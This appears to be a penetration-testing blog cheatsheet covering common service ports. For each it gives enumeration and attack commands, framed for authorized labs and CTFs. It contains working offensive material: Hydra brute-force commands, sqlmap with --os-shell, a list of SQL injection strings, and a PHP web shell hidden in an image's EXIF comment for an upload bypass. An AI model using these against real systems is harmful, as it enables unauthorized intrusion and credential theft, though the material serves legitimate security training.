Port Cheatsheet

Contents

TL;DR

  • A port-by-port cheatsheet for the services you meet in almost every lab: FTP, SSH, SMTP, DNS, HTTP, POP3, HTTPS, SMB and RDP.
  • Enumeration first, exploitation second: nmap scripts, Hydra brute force, dig queries, gobuster/feroxbuster directories and sqlmap injections.
  • Originally published October 2019, updated in October 2026 with the tooling I still reach for today.
  • Meant for labs, CTFs and machines you’re authorized to test, not for scanning random hosts on the internet.

This post is continuously being updated! Originally published in October 2019, last refreshed in October 2026.

A quick word before we start: only use this cheatsheet on systems you own or are explicitly authorized to test: your own lab, CTF boxes, engagements within scope. Scanning or brute-forcing systems you don’t have permission to touch is illegal in most jurisdictions, and “I was just enumerating” is not a defense. Keep it in the lab.

21 - FTP

Upload/Download files.

ftp <IP>
# Login with your credentials, or try 'anonymous' / 'anonymous' as user/password

Sometimes we can login as anonymous and password pass. Supposing that we got creds, we can upload/download a file with:

  • put
  • mget (multiple files at once)

Nmap is always a good first move here, and these scripts are still the 2026 default when I touch an FTP box:

nmap --script ftp-anon,ftp-brute -p 21 <IP>
# ftp-anon checks anonymous login, ftp-brute does a default-credentials check

We can also bruteforce ftp with various tools like Hydra or Metasploit:

hydra -L <user/s(.txt)> -P <pass_wordlist.txt> <IP> ftp

Same syntax as it was in 2019: Hydra hasn’t changed its mode names for ftp, so this still works as of the update.

22 - SSH

Remote connection.

ssh -p <port> -i <private_key> <user>@<IP> <command>
# Port by default is 22
# Private Key is not usually needed unless server asks for it
# If server denies connections, is best to copy our public key to the server
# Command is not needed, if used it will execute the command but won't give remote connection

One thing that has changed since 2019: modern SSH servers often reject older key algorithms. If your private key is refused with a “no matching key exchange method” style error, as of the update you may need -o options to negotiate legacy algorithms, but only on old boxes; never weaken it on a system you don’t control.

To upload/download files:

# The trick to remember 'scp' as 'dd' is:
# scp origin destination

# UPLOAD
scp <file> <user>@<IP>:<remote folder>
# DOWNLOAD
scp <user>@<IP>:<remote folder> <file>

# To do it recursively just add '-r' argument

We can also bruteforce ssh:

hydra -L <users(.txt)> -P <pass_wordlist.txt> <IP> ssh
hydra -L <users(.txt)> -P <pass_wordlist.txt> ssh://<IP>
hydra -l user -p password ssh://<IP>

There are sometimes when we get a private key or credentials but when connecting it doesn’t work, then maybe there’s a knock sequence. It’s made to prevent not wanted connections and to bypass this you have to knock the ports in the sequence listed in /etc/knockd.conf. Supposing in that file appears 571, 290, 911 we have to:

for x in 571 290 911; do nmap -Pn --max-retries 0 -p $x <IP>; done

And that should open the SSH.

25 - SMTP

Mail Server capable of sending and receiving messages via POP3 or IMAP protocols.

Banner Grabbing:

nc <HOST> 25

Verify MX servers:

dig mx <HOST> +short

Automatically verify users from a list. The classic tool for this is smtp-user-enum and the concept still works exactly the same (VRFY/EXPN/RCPT TO probes):

smtp-user-enum -M VRFY -U <users.txt> -t <IP>

SMTP Commands. These still work against sendmail and most mail servers, or via telnet/nc:

telnet <IP> 25

HELO <domain> # Banner Grabbing

VRFY <user> # Manually Verify User

EXPN <user> # Shows email of a user

MAIL FROM:<email> # Origin of email

RCPT TO:<user> # Receiver of email

DATA # Starts the data transfer

RSET # Aborts it

QUIT

HELP # Shows help

AUTH # Authentifies client with server

An open relay (a server that accepts RCPT TO for any domain) is a finding on its own; test it by sending to an external address and seeing if it’s accepted.

53 - DNS

Domain Name Resolution.

Is used to transform IP’s into a name and vice versa.

DNS Transfer is a mechanism to replicate/copy the info. of a DNS server to other DNS servers using the AXFR protocol.

More info in the list of DNS record types.

Using Dig:

# Banner Grabbing
dig version.bind CHAOS TXT <HOST>

# DNS Transfers
dig axfr <HOST>
# or
dig axfr @<HOST> <DOMAIN>
# or
dig axfr <IP> <HOST>


#Any information
dig ANY <HOST> <DOMAIN>

#Regular DNS request
dig A <HOST> <DOMAIN>

#IPv6 DNS request
dig AAAA <HOST> <DOMAIN>

#Information
dig TXT <HOST> <DOMAIN>

#Emails related
dig MX <HOST> <DOMAIN>

#DNS that resolves that name
dig NS <HOST> <DOMAIN>

Using Host (gives all public DNS):

# A, AAAA, MX records
host <HOST>

# To specify records
host -t <RECORD> <HOST>

# DNS Transfer
host -l <HOST> <DNS>

80 - HTTP

Web Server.

Enumeration of directories

For directory enumeration in 2026 I default to feroxbuster or gobuster (dirb-style alternatives like ffuf or plain dirb are also fine):

feroxbuster -u http://<IP> -w <pass_wordlist.txt> -x php,txt,html
gobuster dir -u http://<IP> -w <pass_wordlist.txt> -x php,txt,html -o <output file>
# dirb also works: dirb http://<IP> <wordlist> -X .php,.txt,.html

About the wordlists: your distro usually ships some under /usr/share/wordlists/ (dirb’s and dirbuster’s are the classic ones), and when those feel small there’s SecLists, Daniel Miessler’s curated collection of everything from directories to usernames to passwords. Just don’t feed discovery wordlists directly into brute-force attempts without checking the licence/sharing terms, and count your requests: a big list against a rate-limited server will get you blocked faster than it finds endpoints.

We can also fuzz URLs to see if there might be an LFI (Local File Inclusion), it is more probable if there’s some page like /cod=1?:

wfuzz -c -v -A -z file,<fuzz_wordlist.txt> http://192.168.1.202/FUZZ
# As of the update, ffuf is the more common equivalent if wfuzz isn't in your kit

It’s recommended to view the source code (ctrl + u) and start clicking on every link as there might be directories that aren’t in our wordlists.

Technologies

If the page runs a CMS (Content Management System) we can look if there’s any exploit for it or there was a vulnerability we can exploit in some way. For WordPress there’s a unique tool called wpscan.

Discovery of this can be made through manual inspection, the page headers, or a browser extension like Wappalyzer, which identifies CMS, Plugins, etc. on the webpage.

Logins

Run SQLMap against logins as there might be some misconfiguration in the database that allowed us access:

sqlmap -u http://<IP> --level 5 --risk 3

# Only if you have a request file (ie.: from Burp Suite)
sqlmap -r <file.req> --level 5 --risk 3

Caution: --level 5 --risk 3 is aggressive and can write to the database. On a lab box that’s fine; on anything real, get permission in writing first.

If we find that the database is vulnerable in any way, we can extract all tables and try to get a shell.

sqlmap -u http://<IP>/index.php?cod=1 --batch -D <database> --os-shell
# -D to select a database
# --os-shell to get a shell

If there’s no luck, we can try manual injections:

'
0 OR 1=1
0 OR 1=2
" OR ""="
';--
;SELECT * FROM ALL_TABLES;
item' AND 1 = SLEEP(2);
item ' UNION (SELECT TABLE_NAME, TABLE_SCHEMA, 3 FROM information_schema.tables);--
;admin'='
\;';--

File Uploader

If there’s some file upload we can right away go opening Burp Suite. The idea is to fool the system into thinking that we are uploading a legitimate file, but not really. Many times we can pass through the restrictions by introducing our code at the end of a file. Changing the extension but keeping the original file.

An example is to upload a photo with embedded PHP. To do it is as easy as to introduce our PHP code at the end of the image. But sometimes this won’t work, so another way is to put an EXIF comment with code with:

exiftool -Comment='<?php system($_REQUEST["cmd"]); ?>' test.jpg

And change the name of the file test.jpg to test.php.jpg. Apache historically interprets both extensions, though as of the update many hardened setups block this, so treat it as a trick to try, not a guarantee. Then you can request:

http://somepage.com/media/uploads/test.php.jpg

APIs

Another vulnerability factor is APIs, they are usually on different ports but if we find one, looking at the documentation and looking for its exploits should be sufficient.

110 - POP3

Mail Server.

Enumeration:

# To connect
telnet <IP> 110

# Commands:
USER <user>
PASS <pass>

LIST #List messages
RETR #Retrieve messages
QUIT
nmap --script=pop3* <IP>

We can use Evolution application to read mails.

443 - HTTPS

Everything is the same as HTTP but when using Burp, you have to download the certificate of Burp opening a new window: http://burp.

When downloaded you have to import the certificate in Firefox Settings and there you go!

And some tools may need to skip the TLS certificate check with one more argument. E.G: curl -k (for the HTTP tools in your kit, not nmap itself).

445 - SMB

Samba is one of the most useful services for enumeration.

Enumeration

smbclient '//<IP>/<share>' -N
#OR
smbclient -L <IP> -N

Once listed all files as anonymous user you can list the directories without the $ this way:

smbclient '//<IP>/<share>' -N -D <directory>
#OR
smbclient -L <IP> -D <directory> -N

There’s times that you anon user isn’t allowed so you’ll need credentials:

smbclient '//<IP>/<share>' -U <user>
# It will prompt for the password
#OR
smbclient -L <IP> -U <user>
###
smbclient '//<IP>/<share>' -U <user> -D <directory>
#OR
smbclient -L <IP> -D directory -U <user>
nmap --script=smb* <IP>

As of the update, smbmap and NetExec (the successor of CrackMapExec, docs at netexec.wiki) are also very common for quickly mapping shares and permissions, same idea, different wrapper.

Bruteforcing

Hydra:

hydra -L <user/s(.txt)> -P <pass_wordlist.txt> <IP> smb

Eternalblue, EternalRomance, EternalChampion, EternalSynergy exploits: as of the update these mostly land on old or unpatched Windows boxes, which in labs they still do.

3389 - RDP

nmap --script=rdp-* <IP>

BlueKeep (Windows 2003, Windows XP, Windows 7, Server 2008, Server 2008 R2).

EOF

I’ve tried to list all the things I encountered while breaking boxes on HTB with the most common port (according to the Nmap classification). I will keep updating this guide: the tools change with the years, but the ports and the enumeration mindset mostly don’t.

If you think this post needs more info, ports, or details, please contact me!

Back to all Posts